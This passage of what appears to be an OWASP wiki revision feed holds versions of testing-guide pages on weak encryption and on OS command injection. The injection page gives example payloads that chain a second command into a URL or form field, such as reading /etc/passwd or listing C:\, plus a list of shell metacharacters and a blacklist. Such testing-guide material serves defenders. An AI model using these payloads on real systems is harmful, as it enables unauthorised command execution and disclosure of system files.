* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm. &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot;, it's not allowed to be used in padding.&lt;br /&gt;
&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229583</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229583"/>
				<updated>2017-05-12T01:55:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. For example, &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot;, it's not allowed to be used in padding.&lt;br /&gt;
&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=229472</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=229472"/>
				<updated>2017-05-09T00:13:34Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS command injection is preventable when security is emphasized during the design and development of applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
When viewing a file in a web application, the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the file name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this case, we have successfully performed an OS injection attack.&lt;br /&gt;
&lt;br /&gt;
== Special Characters for Comand Injection  ==&lt;br /&gt;
The following special character can be used for command injection such as |   ;   &amp;amp;  $  &amp;gt;  &amp;lt; `  \ !&lt;br /&gt;
* cmd1|cmd2   : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.&lt;br /&gt;
&lt;br /&gt;
* cmd1;cmd2   : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.&lt;br /&gt;
* cmd1||cmd2  : Command 2 will only be executed if command 1 execution fails.&lt;br /&gt;
* cmd1&amp;amp;&amp;amp;cmd2 : Command 2 will only be executed if command 1 execution succeeds.&lt;br /&gt;
* $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' &amp;gt; test.sh)&lt;br /&gt;
* 'cmd' : It's used to execute specific command. For example, 'whoami'&lt;br /&gt;
* &amp;gt;(cmd): &amp;lt;(ls)&lt;br /&gt;
* &amp;lt;(cmd): &amp;gt;(ls)&lt;br /&gt;
&lt;br /&gt;
== Code Review Dangerous API ==&lt;br /&gt;
Be aware of the uses of following API as it may introduce the command injeciton risks.&lt;br /&gt;
&lt;br /&gt;
Java&lt;br /&gt;
* Runtime.exec()&lt;br /&gt;
C/C++	&lt;br /&gt;
* system&lt;br /&gt;
&lt;br /&gt;
* exec&lt;br /&gt;
&lt;br /&gt;
* ShellExecute&lt;br /&gt;
Python&lt;br /&gt;
* exec&lt;br /&gt;
&lt;br /&gt;
* eval&lt;br /&gt;
&lt;br /&gt;
* os.system&lt;br /&gt;
* os.popen&lt;br /&gt;
* subprocess.popen&lt;br /&gt;
* subprocess.call&lt;br /&gt;
PHP&lt;br /&gt;
* system&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* proc_open&lt;br /&gt;
* eval&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remediation == &lt;br /&gt;
===Sanitization===&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters or command list should be created to validate the user input.  Characters that were missed, as well as undiscovered threats, should be eliminated by this list.&lt;br /&gt;
&lt;br /&gt;
Genereal blacklist to be included for commannd injection can be  |     ;     &amp;amp;    $    &amp;gt;    &amp;lt;   '    \   !   &amp;gt;&amp;gt;   #&lt;br /&gt;
&lt;br /&gt;
Escape or filter special characters for windows,          ( ) &amp;lt; &amp;gt; &amp;amp; * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` &amp;lt;br&amp;gt;Escape or filter special characters for Linux,          { }  ( ) &amp;lt; &amp;gt; &amp;amp; * ‘ | = ? ; [ ]  $ – # ~ ! . ” %  / \ : + , `&lt;br /&gt;
&lt;br /&gt;
===Permissions===&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
* OWASP [[OWASP WebScarab Project |WebScarab]] &lt;br /&gt;
* OWASP [[OWASP WebGoat Project|WebGoat]] &lt;br /&gt;
* [https://github.com/commixproject/commix Commix]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&lt;br /&gt;
* http://projects.webappsec.org/w/page/13246950/OS%20Commanding&lt;br /&gt;
* https://cwe.mitre.org/data/definitions/78.html&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229456</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229456"/>
				<updated>2017-05-08T07:16:20Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
